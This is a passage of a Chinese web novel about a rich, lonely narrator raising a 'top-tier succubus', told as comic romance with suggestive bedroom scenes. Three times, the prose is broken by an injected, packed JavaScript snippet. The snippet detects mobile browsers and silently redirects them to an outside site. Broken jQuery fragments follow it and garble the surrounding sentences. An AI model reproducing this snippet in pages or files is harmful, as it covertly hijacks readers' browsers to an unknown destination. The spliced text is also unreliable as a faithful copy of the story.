《如何饲养顶级魅魔》 1. 饲养魅魔第一天 我有很多很多钱,却没有很多很多爱。 听那些有钱人说,可以饲养一只魅魔来爱自己。 原来,缺爱是有钱人的通病啊。 我立马在五星级魅魔服务店下单了一只顶级魅魔。 我问客服:“这只顶级魅魔真的会狠狠爱我吗?” 客服说:“亲亲,魅魔就是用来爱您的呀,只不过,咱家这只顶级魅魔,需要您日日爱抚他,希望亲亲可以善待这只小可爱哦~” 很好,爱抚是吧? 只要他爱我,我一定给他抚秃噜皮! 清早七点,我在我的豪华大别墅中醒来。 有钱人的作息一定要健康,不能晚睡,不能晚起。 我打开门,准备沐浴清晨的阳光,呼吸清晨的空气,观赏清晨的露水。 啊!这么好的天气。 啊!这么大的房子。 啊!怎么没有人来爱我呢? 正伸懒腰,脚下一阵悉悉索索的声音吸引了我的注意。 一个半人高的纸箱在蠕动。 凭空出现的纸箱?! 哦,原来是我的顶级魅魔到了。 我怀着激动的心情打开纸箱。 嚯! 我将毫不吝啬用平生所有的优美语言描述这只顶级魅魔。 不愧是顶级! 黑灰微卷的短发蓬松柔软。 粉红宝石般的眼眸微微下垂,眼尾带着细碎红晕,两只眼下各有一颗泪痣点缀。 尖细的精灵耳从发间露出,头顶还顶着一对小巧的粉色恶魔角。 露背黑色上衣配同色短裤,深蜜色的肌肤像极了深烘可可的浓醇质地。 背后有一对黑红渐变的蝙蝠翼,质感轻薄又有光泽。 身后还拖着一条粉黑相间的恶魔长尾,尾尖泛着亮粉,甜酷甜酷的。 哇,是黑皮。 哦,是baby。 魅魔击中了我的心。 他抱着自己的腿,尾巴在狭小的纸盒中蜷缩成一团,脸颊泛红,眼睛水亮,糯糯喊道:“主人……” 我点头如捣蒜,笑得不值钱,还显得稍许猥琐: “诶诶诶!主人在!主人在!” “诶嘿嘿~” 他的尾巴从纸箱中钻出来,粉色爱心形状的尾巴尖碰着我的手腕。 “主人请把小魅带回家。” 好痒,好喜欢。 是粉色的爱心! 他的尾巴松松卷着我的手,我一个没忍住,猛地一抓。 我攥住了爱心尾巴尖! “小魅是吧。” “好好好,小魅真乖,主人带你回家。” 我还抓着他的尾巴。 他却不敢看我。 “主人可以看一下《魅魔饲养手册》。” 小魅把一本薄薄的册子递给我。 我大概翻了一下,只有五张纸,一共十页。 我松开他的尾巴,真诚发问:“看了这本书,你就会爱我吗?” 小魅抬起头,尾巴追着我的手跑,我又一把攥紧他的爱心尾巴尖。 他忽地张开嘴,我看见了,他有一颗小小的虎牙。 “嗯……我会好好爱主人。” “请……请主人,饲养我吧~” · 饲养一只魅魔不是什么难事。 我养过花,养过草,养过狗,养过猫。 但很遗憾,它们都去了天堂。 有钱人就是这样,长寿,缺爱。 但是魅魔正好互补,他们长寿,还很会爱。 我问小魅:“你该怎么爱我?” “主人想让我怎么爱?” “你会怎么爱?” “主人挑一个方式让我来爱。” …… 我很无语。 这是无效对话。 我深吸一口气:“小魅,你可以把你爱我的方式说出来吗?” 顶级魅魔尾巴在转,翅膀收进体内,喉咙发出声响。 我还没搞清楚他为何喉咙作响,他就抓住我的手,糯糯地问:“主人,现在告诉您吗?” 我一头雾水:“现在有什么不妥吗?” 小魅的尾巴环住我的腰,我一把就抓住了爱心尾巴尖。 尾巴尖软软的、暖暖的。 上面的血管和细小绒毛都能看得清清楚楚。 “主人,可以的,小魅白天也可以爱主人……” 他到底在说什么? 他为什么还没回答我“该怎么爱我”这个问题? 我耐着性子再次问他:“你该怎么爱我?” “主人,我会用尾巴。” 我捏着尾巴,掐着尾巴尖。 “我会用嘴。” 他微张着嘴,我看到了小巧的虎牙和粉色的舌头。 “我会用手。” 他张开五指,手指纤细修长,每根手指上还留着尖尖的指甲。 留长指甲了? 不行,坚决不行! “我还会用……” “你先别用了,把指甲剪剪。” “主人不喜欢长指甲吗?” “对啊,谁知道你会不会用长指甲刺杀我。” “啊?” 小魅很错愕。 一看小魅就不是有钱人。 在有钱人身边,潜伏着各式各样盯着遗产的人。 那些人会用各式各样的奇葩方法害死有钱人,最终争夺遗产。 而这些恶毒的人,大概率是有钱人的亲戚、家属、朋友。 我没有亲戚,没有家属,没有朋友。 现在离我最近的,是一只顶级魅魔。 如果把指甲削尖,对着喉咙来一下。 “噗嗤——” 鲜血,鲜血! 啊! 鲜血像火山喷发一样喷洒而出! 我就这样死了! “主人……您拉着我的手在干什么?” 我放下他的手:“欸,你没看出来吗?我在向你演示指甲杀人的场景啊。” “哦……好吧,我会剪指甲的。” 小魅看着自己的手:“我还以为主人是不喜欢刺激的爱呢。” “什么是刺激的爱?” 我很好奇,刺激的爱和指甲有什么关系。 “刺激的爱就是……”小魅用自己做演示,他把手指对着自己的胸膛,开始挠。 挠痒痒吗? 刺激的爱就是帮我挠痒痒? 我看不懂,并对这些新奇的事持保留意见。 他又换了个地方,对着自己的小腹,开始挠。 怎么又是挠? 我有时候只有后背痒。 我从不惧怕问问题:“为什么你总是挠自己?” 小魅支支吾吾答不上来:“啊……那个,嗯,就是……” 我看不下去了,作为一只顶级魅魔,扭扭捏捏干嘛! “啪”的一声,我恨铁不成钢地拍了拍他的手臂。 “别害羞,大大方方的,说!” “那个……这个……” 小魅闭上眼,通红着脸,大声喊出:“这是扣!” 扣? 扣是什么? 为什么要对着自己的胸膛扣? 是我老了跟不上时代了吗? 小魅喉咙里发出更响的声音。 我很有探究精神,还有打破砂锅问到底的劲头。 这都归结于我们老一辈从小到大的教育。 我到现在还记得上小学时,有专门的课文来教我们如何问问题。 第一步,直接问本人。 “小魅,你喉咙里为什么会响?” “那是因为我要好好爱主人。” “你爱我的时候喉咙就会响?” “是的主人。” “你现在喉咙响了,说明你现在在爱我。” “不不,小魅现在不在爱主人。” 你看小魅急的,都热得要脱衣服了。 但现在还没到夏天,春天只有十来度,脱衣服肯定会冻感冒的。 对哦,小魅早上到家时,就穿着露背衣和短裤。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470444|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不行不行,小魅要是冻感冒了怎么办。 我赶紧制止他脱衣服的手,给他披上一件外套。 “好好穿衣服,不要脱,春天最容易冻感冒了。” 小魅还在挣扎,企图脱下外套。 “不不,小魅要脱衣服来爱主人。” 我加大力气摁住他蠕动的身体,厉声说道:“不行,穿上。” “你要是感冒了,传染给我怎么办?到时候就不是爱我,而是害我。” 顶级魅魔怔住了,呆呆地看着我。 他可能被我的贴心感动了。 不需要感动,我的顶级魅魔,这是主人该做的。 小魅慢慢地穿上外套,并把拉链拉到顶。 他认真地对我说:“主人可以把《魅魔饲养手册》好好看一遍。” 这是什么语气,是不相信我能饲养好魅魔吗? 我不是不看,我当然会看,而且是好好地看,认真地看,慢慢地看,细致地看。 我拉住小魅的尾巴尖,轻轻揉搓,自信地说:“我一定会把《魅魔饲养手册》从头到尾研究一遍,并且做笔记,写分析,发感想,再分享给你听。” “……不用讲给我听,也不要把感想发在网上,主人自己看看就行。” “我懂,我都懂,这是咱俩的事,我当然不会把我们的隐私放到网上。” 小魅喉咙也不响了,只用尾巴沿着我的小腿慢慢往下,又往上。 有点痒,我抓住尾巴,让尾巴不要动。 看着小魅小狗一样的行为,我突然想到客服的话。 顶级魅魔需要主人的爱抚。 现在我还没感受到小魅的爱,是不是因为我要先爱抚小魅。 我是一个很有礼貌的人,面对一只会说人话的顶级魅魔,当然要先问人家的意见:“小魅,要不要我爱抚你?” “真的吗?主人。”小魅眼睛一下就亮了。 粉色宝石般的眼睛闪着光,我看着这双眼,都要陷进去了。 是晚上没有休息好吗? 怎么脑子糊糊的? 我摇摇脑袋,把糊成一团的脑浆摇匀。 我现在要爱抚小魅,千万不能犯困。 爱抚魅魔,应该和爱抚小猫小狗一样吧? 我迟疑地把手放在他毛茸茸的脑袋上,开始揉搓。 就像给小狗洗澡、给小孩洗头。 我来回慢慢揉搓。 “主人……您在干什么?” “看不出来吗?我在爱抚你。” 糟糕,一头黑色卷毛被我搓出静电了。 它竖起来了! 它炸开了! 我赶紧做紧急措施,把炸起来的头发往下压。 不好,怎么越来越炸了! 我连忙把小魅拉到厨房,打开水龙头,把手沾湿,然后顺着炸开的发尾往下捋。 做完这件事后,我又把他拉进自己卧室,将他按在软椅上,从梳妆台上拿一把木梳,开始梳他微湿的头发。 梳头发时,我又感受到他的尾巴在我的小腿上窜。 爱心尾巴尖时不时戳着我的大腿肉。 真的有点痒,我不停地躲着他的尾巴。 魅魔可能和猫一样,尾巴和身体是两个独立的存在。 这么一想,我就原谅尾巴乱窜的小魅了。 小魅看着镜子:“这就是,主人的卧室吗?” 我发誓要将黑色卷毛梳顺,怎么这么多打结的地方。 我小心翼翼地控制力度,不让小魅疼。 “对啊,这是我的卧室。” “主人的卧室,好大,好亮。” “那当然。” “主人的床,好大,看上去好软。” “对对对,有眼光,这是最好的床垫,可贵了呢。” 小魅突然抬起头。 我没拿稳梳子,梳子“啪”地掉在地毯上。 我也“啪”地拍了下他的头。 把他按了回去,把头摆正,并框住头让他不要动。 倒霉孩子,不要在我为你梳头的时候乱动! 2. 饲养魅魔第二天 终于把一头卷毛理顺了,这倒霉孩子还在通过镜子看卧室。 长长的尾巴一搭没一搭地扫着地毯,他现在也不把尾巴往我身上蹭了。 不蹭我,我心里难受。 蹭我,我身体难受。 我知道你长得美,但是能不能别看了,我现在需要爱。 不都说顶级魅魔最会爱人吗? 为什么我现在还没感受到他对我的爱呢? “小魅,你爱我吗?” “我当然爱你,主人。” 听到他爱我的回答,我心里的能量充能到了百分之三十。 “小魅,你是不是很喜欢我的卧室?” 顶级魅魔对我甜甜一笑,我不由自主地也跟着笑。 脑子又开始糊涂了,我被顶级魅魔的美貌攻击到了。 “当然了,我的主人年轻美丽,卧室也亮堂明净;主人的床又大又软,主人的地毯华丽厚实,一看就吸水性很强……” 我一下子清醒过来,他在夸我的地毯,有眼光。 这可是全手工针织地毯。 “主人,我们来爱彼此吧……” “你不是在爱我吗?你刚说的你爱我啊。” 我想把话题拉回地毯,我必须要向小魅夸一夸这个地毯。 “小魅,你眼光真好,这地毯确实吸水性极强,我之前不小心把牛奶打翻,泼在地毯上,结果一瞬间就吸进去了,没一会儿就干透了。” 小魅用尾巴缠住我在空中比划的手,把自己的爱心尾巴尖放进我的手心。 “小魅也可以把自己的牛奶释放在地毯上,主人说会不会吸进去呢?” 不得不说,顶级魅魔的尾巴尖就是不一样,现在变得越来越软,越来越热,也越来越香。 整个房间都充斥着一股甜腻腻的香味。 正值春四月,花园里的花儿开得正旺,香味都飘进卧室了。 我突然想凑近爱心尾巴尖闻一闻。 结果,真闻到了一股甜甜的味道。 我直接一个顶级过肺。 “主人……” 悉悉索索的声音响起,小魅又开始脱外套。 我尾巴尖也不闻了,一把将光脚站在地毯上的魅魔抱起来,让他坐在软椅上。 然后以迅雷不及掩耳之势将外套拉链拉到顶。 “不行!我不是说了吗?容易感冒!” 我开始给他立规矩:“现在是春天,温度变化莫测,不能光脚站在地板上,不能脱衣服,不能喝凉水,不然容易生病。” “听到了吗?” “主人……” 小魅魔可怜兮兮地凑过来,喉咙里又呼噜呼噜作响。 他贴着我,不断蹭我。 之前都是尾巴蹭,现在是整个身体都开始蹭。 看来是我之前的语气太凶了,看把孩子委屈的。 我再一次拉开他,将他抱起,放在椅子上,认真地、温柔地对他说:“刚才我语气不好,我只是不想让你生病而已。” “因为你爱我,所以我也爱你。” 小魅愣愣地看向我,眼里满是不可置信。 他可能第一次被主人这么爱护,所以震惊到了。 小魅喉咙里“呼噜呼噜”的声音更大了。 魅魔真的是猫吧,我之前养的猫也这么打呼噜。 我继续说道:“哦对了,小魅的尾巴尖香香的,是不是早上去花园里窜了?今天就算了,以后早上要是出去玩,一定要穿好外套,不要着凉哦。” 我真是一位优秀的好主人。 我为自己竖大拇指。 顶级魅魔和我对视。 我看到他的眼睛里粉光流转,好漂亮。 我的眼球不受控制地跟着这流光打转。 不行,不行,小魅在考验我,我不能失败! 之前猫猫也是这样,和我对视,判断我是否是一位好的铲屎官,最终下定决心来我家里常住。 我睁大眼睛,尽量让他看得更真切。 所以,选我,选我,我真的是一位优秀的主人! 小魅在这场对视游戏中败下阵来,他叹了口气,垂下肩膀。 作为主人,他的一举一动我都要记挂在心。 所以我赶忙凑上去问:“怎么了小魅,你累了吗?” “嗯,心累。” “心累?可能是因为长途跋涉来到这里,身体疲惫导致的心理疲惫。”我认真分析道。 “主人,你说是什么就是什么。” 真的吗?小魅这么信我! 我好开心,看来小魅已经认可我了! “那小魅要休息吗?我带小魅回房间吧。” “好……” 由于小魅没穿鞋,依旧是我将他抱起。 我的手臂托着他的屁股,他面对着我,头搭在我的肩上,毛茸茸的头在我颈间乱蹭。 像抱小孩一样,我稳稳地托着他,来到他的房间,放在他的床上。 给他拿了一双拖鞋,又给他盖上被子。 “睡吧,我的小魅。” 小魅点头,然后背对着我,蜷在一起,缩在被子里。 我正要离开,小魅闷闷的声音传来:“主人,你一定要好好研究《魅魔饲养手册》。” 他在“好好”两个字上加重语气。 我知道我知道。 我马上就去看。 “看完之后,有什么想问我的,可以问我。” 我诧异地看了看床上的那团鼓包,他之前明明都不愿意和我分享,现在倒是愿意了,是不是就说明他真正接纳我了? 快走到门口了。 小魅突然喊了句:“主人,我爱你。” “真的……爱你。” 哦,天呐。 这句话像丘比特的箭,“欻”地射进我心里。 “我也爱你。”我真诚地回他。 我看着被窝里的那一团,关上了房门。 · 薄薄的《魅魔饲养手册》只有五个章节。 第一章:魅魔的定义 第二章:魅魔的习性 第三章:国家针对魅魔所制定的法律条文及解读 第四章:国家针对魅魔饲养人所制定的法律条文及解读 第五章:遇到非正常魅魔时的解决措施 副页则是用魅魔语将册子重新翻译一遍。 我来来回回看着这几张纸,只从白纸黑字的字缝里抠出来两个字:坑人。 这跟我的大学教科书有什么区别? 满篇都是华丽的废话,读来如嚼蜡,食之无味。 我对我的学生们讲课时,都恨不得自己编写一本教材出来。 但我之前承诺过小魅,要给《魅魔饲养手册》做笔记、写感想。 于是我拿了一个崭新的笔记本,扉页写上: “致我挚爱的,唯一的,永远的小魅 ——星际纪年1683,姚爱,留。” 我根据《魅魔饲养手册》上的内容,洋洋洒洒地写下一大段话。 没有华丽的辞藻,只有真挚的情感。 “先看第一章,魅魔的定义。 纯纯废话。 我能不知道什么是魅魔吗? 魅魔不就是来到主人家,带给主人爱吗? 完美的小魅给姚爱(就是你最爱的我)带来了爱。 你看你看,册子上也写得明明白白: [魅魔,是来自第十二星系的恶魔,因为生存需要,与人类达成协议,人类给予他们所需要的食物,魅魔则可以帮助人类繁衍子嗣。] 繁衍子嗣这条我倒是没听过。 我不需要小魅帮我繁衍子嗣,不管什么物种,对于孕育生命的人来说,生小孩就是一件很痛苦的事。 听很多人说,有小孩之后,未来会方便很多。 我不需要未来方便,我只要现在方便。 我是一个及时享乐、害怕痛苦和孤独的人,所以我也不会让小魅承担痛苦,不管是生育之苦,还是生活之苦。 孕育生命的物种,生命在体内萌芽的那一刻,就已经在承担痛苦了。 说出来不怕你笑话,我没有父母的记忆,听其他人说,我父母在我出生后不久,就应召入伍,在战场上阵亡。 我成为了英雄遗孤。 托我英雄父母的光,我继承了巨额遗产,拿到了国家津贴,甚至在我创业之时,政府都为我开了一路绿灯。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470445|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我一个人活到现在,生存初期需要钱,生存中期需要资源,现在到了生存后期,则变得无欲无求。 不,不是无求。 我向伟大的银河许愿,于是,我幸运地拥有了小魅的爱。” 我很想再写些什么,但我貌似已经把读书笔记变成了个人自述。 我也一不小心,陷入走马灯似的回忆,陷入踽踽独行的过去,陷入过于感性的情绪。 不行啊,怎么这么像写遗书? 正要翻看下一段时,一阵惊雷划过。 紧接着就是瓢泼大雨。 快到夏天了,巴山夜雨涨秋池。 书房内只有书桌上的暖黄色读书灯发着光,窗外一道一道闪电,让我的身影断断续续地投影在窗户上。 我在窗户上,看到了小魅的虚影。 “主人……” 小魅抱着枕头,光着脚,穿着单衣,发着抖。 闪烁的光让他的身影时明时暗。 我不合时宜地想到了《呼啸山庄》。 我赶忙走过去将他抱起:“你怎么来了?睡得好吗?怎么又不穿鞋?下雨了怎么还穿得这么少?外套哪里去了?” 他张开了翅膀,呈保护姿态虚虚掩着自己。 那翅膀薄得跟纸糊的一样,我生怕一个不小心就将它戳破。 我就环着他的腰,托着他的屁股,他的两条腿也像八爪鱼一样紧紧扒着我。 他怀里抱着的枕头早被我扔在了地上。 没有宽大外套的遮挡,他的屁股很柔软,我能清晰地感觉到,手陷了进去,可能留下了指印。 放心,主人不可能让小魅掉下来。 我紧紧抓着。 这个高度我正好能蹭到他的脖子。 他亦是。 我怕他滑下来,向上颠了两下。 他“哼唧”一声,毛绒绒的脑袋开始蹭我,尾巴也绕着我的腰卷了两圈。 和我之前养的小猫一样。 但是,他尾巴之前有这么长吗? 他好香。 巧克力色的皮肤,却散发着花香。 “我闻着主人的味道找到这里。没有主人在身边,睡得不好。太着急了,所以忘记穿鞋穿外套了。” 一滴滴温热的水,浸透我的上衣。 是他的泪。 “主人……我害怕……” “轰隆——” “咔嚓!” 闪光随着惊雷,在我们身后炸开。 “啊!”他一声惊叫,随后一阵强风猛地直面我而来。 再次睁开眼时,眼前是透着黄光的薄膜。 薄膜上青绿色细小的血管纵横交错。 “我把主人包起来了。” “主人和我抱在一起,不怕不怕啦……” 我没这么胆小,主人不是懦夫,我要为自己证明。 “啪”地轻轻拍了下他的屁股:“我又不怕,是你怕。” 相比这个,我更对这个能放大缩小的翅膀感兴趣。 “你怎么把翅膀放大的?” “主人没看《魅魔饲养手册》吗?” “看了,还没看完,不过我浅浅翻了一遍,大概率上面没说。” 他蹭我的动作停下来:“没说……吗?” “嗯?你不知道吗?你也没看这个手册。” 他猛地提高声量:“当然看了。” “行,你说看就看了。” 随他看没看,又不是他养我。 “嗯……可能我看得是旧版本,这本是新印的。”他自信地说,“对,肯定是新印的。” 昏暗中,我对他耳语:“我写了第一篇感想,要看看吗?” 他趴在我的肩上,脸颊被挤出来一坨软软的肉:“我……我等会儿再看。” 他似乎,要睡着了…… 外面的雨势渐小,翅膀打开了一道口子。 “好了,把翅膀松开,我送你回房间。” “主人……” “怎么了,你说。” “我想上床。” “好。” 当然是上床,晚上睡觉不在床上,难道是在地上吗? 地毯可没有床垫软。 3. 饲养魅魔第三天 小魅有些抗拒他的房间,紧紧贴着我,我们之间的温度升高,越来越热。 “我不想和主人在这里,小魅不要进去。” 我就当小孩子闹脾气,之前我的猫也不爱住进自己的猫窝,除了猫窝,它哪都能睡。 “你不是要上床吗?不进去怎么行,难道你要睡客厅?” “啊……也、也行吧,这个房间也行。” 我轻轻将他放在床上。 他还攥着我的手,一眨不眨地盯着我。 粉色眼睛流光溢彩,我永远会痴迷于他的眼睛。 “主人,有什么感觉吗?” “没什么感觉,我又不怕外面的狂风暴雨。” “哦噢,那主人热吗?” “刚才有些热,现在不热。” 小魅抿嘴,皱着眉:“啊……这样啊……” 我摸了摸他的额头,没发烧。 “你是不是下午睡得太多,睡不着?” 小魅往里面挪动,拍了拍身边的位置:“嗯,要主人陪着。” 这架势,我懂。 “你先等我会儿,我去拿个东西。” 小魅凑过来拽住我,力气还不小:“什么东西?会……会让我疼吗?会不会很大,很粗?” 我仔细回想了一下那个东西的样子:“是让你幸福的东西,有点大,但不是很粗,就是……” 我在空中比了个形状,也不知他看没看懂:“就这样的,可能有些重。” 他半信半疑道:“真的是让我幸福的东西吗?” 我笃定回答,没有小孩不喜欢那个:“对,你应该见过。” 小魅缓缓摇头,粉色眼睛润润的,他现在又像一只小狗。 巧了,小狗我也养过。 “对不起,我可能没见过,主人是我第一个主人。” “没关系,小魅也是我第一个魅魔,其他魅魔有的,小魅也会有,其他魅魔没有的,小魅更是取之不尽。” “嗯!” 他使劲点头的样子,更像我养的那只金毛。 他跪在床上,爱心尾巴一甩一甩:“主人,我等你回来。” 天呐,太乖了。 我忍不住“吧唧”亲了口他的额头。 这是我第一次亲他,他喉咙里又发出呼噜呼噜的声响。 我明白了,喉咙里发出响声,是幸福的表现,是我爱他的象征,也是他心情愉悦、十分爱我的回馈。 我又亲了下,这次,落在他软糯糯的脸颊上。 哦,有些可惜,不是巧克力味的。 但小魅更香了,像舔了一口花蜜。 等我拿东西回来时,小魅已经平躺在床铺最里面,盖着被子,光洁的手臂露在外面,压在被子上,睁着眼睛看天花板。 好可爱。 我一条腿压在床边,软软的床垫陷了进去。 “主人。” 小魅移动到我身边,抓着我睡衣一角。 我边说边放东西:“我忘记给你买睡衣了,刚才才下单,明天就送到了,以后睡觉还是要穿睡衣的。” 刚钻进暖和的被窝,一股热源贴了上来。 不对,触感不对! “你怎么没穿衣服?!” “主人,这是什么?书?!还有被子?!” · 一张大床,两床被子,我在极左,他在极右。 中间横着一本又大又厚又宽的书。 “裸睡是个好习惯。”我说。 “睡前看书也是个好习惯。”他说。 到底为何变成了这样? 房间内只有一盏散发着黄光的阅读灯。 巧克力肤色的他就这样融进了昏暗中。 “你往我这里挪挪,我看不清你。” 他一声不吭地转过身去,被子盖得严严实实。 他在跟我怄气吗? 为什么? 我坐起来,转身盯着那黑黑一坨:“你生气了吗?” 他不复之前甜腻腻的嗓音,语气毫无起伏:“我敢生主人的气吗?” 这句一出来,他铁定生气了。 我叹口气,把中间的大书拿开,“砰”地扔在地上,长臂一伸,将“巧克力馅春卷”整个拉过来。 他挪回去。 我拉过来。 他又挪。 我又拉。 最后我两只手臂将他整个环住,锢着他。 幸亏我长得高,力气也大。 “我错了。” “主人没错。” “我真错了。” “那主人错哪里了?” 我眨巴着眼,真的在脑子里思索我错在哪里。 怀里的“巧克力春卷”抬头。 这次我看清了他,依旧是那双粉红色的眼睛,让我在昏暗的世界中寻找到了他的身影。 “主人说不出来就不说了,主人没错,我错了。” 他小小的恶魔角蹭着我的脖子,我脖颈处正在跳动的大动脉,就在那双尖锐小巧的角下。 只要他有足够的力气,就可以在一瞬间用恶魔角刺穿我的脖颈。 但我并没感到疼痛,甚至有些痒。 我低头下压,抵住那根角。 “小魅没错,是我的错。”我终于想到了我的错处,“我不该亲你。” 之前亲他的时候没有询问他的意见,所以他不高兴了,来找我秋后算账了。 小魅在我怀里翻了个身,叹了口气,一双手从“面包卷”中伸出,抚摸我的脸。 从上到下,从眉心到嘴角:“不是这个,主人随时随地都可以亲我,怎么亲都可以。” 我关注到了怎么亲。 我活了这么多年,只知道亲额头和亲脸颊是表达喜欢一个人的方式。 我咽了咽口水,看着他颜色越来越深的眼,竟又觉得热。 我从被窝里伸出一只腿。 我不耻下问:“还能怎么亲?” 两床被子一上一下交叠,魅魔不重,压在我身上都没有很大的感觉。 但是,被子又不厚,薄薄一条。 他是不是也热了,不然我怎么能从他身上感受到一股滚烫的温度。 就像……就像…… 肌肤贴着肌肤,滑,嫩。 零距离。 又开始了,眼神迷离,脑子糊涂。 我没喝酒。 他曲起腿坐起来,从我的膝盖处往下滑,坐在了我小腹上。 被子松开了,他像一条蛇,在我身上攀爬。 不行,他还小,他在干什么? 他身上的被子堆在了我身上,他没有被子盖,不冷吗? 我在这一刻,竟还想着他冷不冷。 被子拉起,蹭过他的背,将他包起。 包起来,包起来就不冷了。 “主人……” “嗯。” “你有什么感觉?” “我热。” “热为什么还要盖被子?” “怕你冷。” “可是我不冷,我也热,和主人蹭在一起,很热……” “你没有睡衣,冷。” “……” 迷迷糊糊的,眼前像是打了一片马赛克。 “主人……” “嗯。” “我的小腹有些痒。” “要我帮你挠挠吗?像白天那样。” “要。” 我几乎要睁不开眼了。 好香,是小魅的味道,今天闻到了好多次。 我的身体仿佛不是我的了,就像打了全麻。 我的手被人抓住,手指间塞满了什么。 十指相扣? 我的脸痒痒的,像羽毛拂过鼻尖,想打喷嚏。 小魅的声音从宇宙深处的黑洞中飘来。 “主人之前问了我什么问题?” 我问了什么?哦,对,是“还能怎么吻?” “还能这样。” 耳朵痒,我戴了耳机吗?怎么声音还8D环绕呢? “这样。” 晚饭没吃果冻,饭后甜品是蛋挞,哦,蛋挞也甜,也嫩,这蛋挞入口丝滑,做的真不错。 “这……样。” 嘴里有什么东西?舌头麻麻的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470446|201450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水杯里没有水就不要吮吸了,不然舌头会因为长期吮吸吸管,压强不平衡而导致舌头发麻和疼痛。 而我喜欢咬吸管。 “嘶……主人咬到我了。” “你疼吗?” “疼。” “我的错,对不起。” “不,主人没错。” 我在银河中飘,想抓住浮木。 我溺水了。 挣扎中,我抓到了一根细细的断木。 热可可的颜色,光滑的,中间有一个小洞,下面有一片繁复华丽纹路的浮木。 “主人,你看到了什么?” “我看到了……” 我睁大眼睛,凑近观察,紫色的花纹,比我的床单被套还漂亮,不,这两者不能相比。 “我看到了盛开的紫罗兰,不,你还小,你不能纹身。” “这不是纹身,而且我不小了,一百岁了。” “可我两百岁了。” “人类,两百岁?!怎么可能?” 我手下触感发烫,微弱的紫光从指间探出,花纹发亮了。 我按住了花纹,想沿着花纹的纹路描绘。 我从没见过这么美的纹身,还能发光,还能发热。 这东西,妥妥的自助发热机,如果能研发出来,那生理期的女孩子们就能舒服很多。 因为人类体质的差异,我们没办法研究出适用于全人类而且不产生副作用的特效药物。 但外用机械用品就不一样了,这东西很方便,即拿即用。 要是能搞出和这纹路功能一样的内嵌式自助发热电导丝…… 我一下清醒过来,眼前一片清明。 我就说,我晚上没喝酒,大脑依旧高强度清晰转动,怎么可能这么晕乎! 我一用力,将他轻轻压在身下。 “欸,主人?” 他在我手下挣扎,眼睛一下瞪大,不可思议地看着我,他身上的被子全乱了。 不是,这么久了,怎么还不知道我的力气? 我把他的被子往上拢了拢,裹住他,腿压住他的腿,让他全身除了纹路的部位,其他都压得严严实实的。 “别动,让我好好看看。” 我沿着纹路滑动,他身体颤抖,肌肤滚烫,喉咙里发出呼噜声。 我抬头观察他的状态:“怎么了?你很痒吗?那我轻点。” “不,主人请随意,不用管我。” 随后,他咬住了被子,囫囵地说:“生效时间好短……” “什么生效时间?” 他有什么瞒着我吗? “不,没什么……嗯哼……主人,好了吗?” 这感觉,怎么这么像我强迫他呢? 我二丈和尚摸不着头脑。 “等会啊,还没好,再让我研究研究。” 我对这个内嵌式自动发热机很感兴趣,这玩意,又漂亮又实用。 我不禁问道:“这个到底是何方神圣?” “主人喜欢吗?” 我指甲抵着花纹中间的位置,不自觉地打磨转圈:“喜欢,可喜欢了。” “主人喜欢就好,嗯哈……这是……嗯,魔纹。” 魔纹,好东西。 “你能供我研究一天吗?” “可以,那主人要奖励我。” “你想要什么?” “食物,来自主人给我的食物。” 食物,简单。 但我忘记了一件事,我忘记给他讲睡前故事了。 此刻已然到了深夜,我把他安顿好,掖好被角。 “小魅困吗?” 他乖乖地缩在我身边,我有一下没一下地抚着他的头发,这孩子热得额角都湿了。 他嘴里的呼噜声渐渐变小:“有点困。” “那我给你讲故事吧,我的书可不能白拿。” “好……” 小魅又往我这边缩了缩,脸颊贴着我的手臂,呼吸喷洒在上面,又湿又热。 他似乎不愿抬头看我,也不愿意分给这本故事书一丝目光。 他或许,是真的困了。 4. 饲养魅魔第四天 故事没读成,小魅似乎不想看到这本令我骄傲自豪的书。 “主人可以为我读你的笔记。” “这本书不行吗?” “……不行。” “好可惜,这是专门为孩子们制作的超现实3D精品图画一体的□□书。” “……都说是□□故事了,主人放弃吧,别读了。” “哦。” 天快亮了,我想着他身上的魔纹,一晚上没睡。 小魅倒是睡得安稳。 · 大别墅很空旷,除了必备的用品,就是空旷的房间,按照小魅的话来说:“主人是人,家却没有一点人味。” “那你在家里,把家变得有人味些。” 今天有些热,晚上大雨过后,就进入了夏天。 我穿着墨绿色长裙,蹬上高跟鞋,把头发挽起,准备去学校。 小魅把消毒湿巾,眼镜盒,电磁卡放进挎包中递给我。 “假期一共三天,我才和主人相处一天。” 我亲亲他的额头:“下午六点就回来了,你乖乖的。” 这就是有钱人的包养。 “等等,我的《魅魔饲养手册》还没拿。” 小魅身形一顿:“上班还要看吗?” “有空就看看。” “好……” 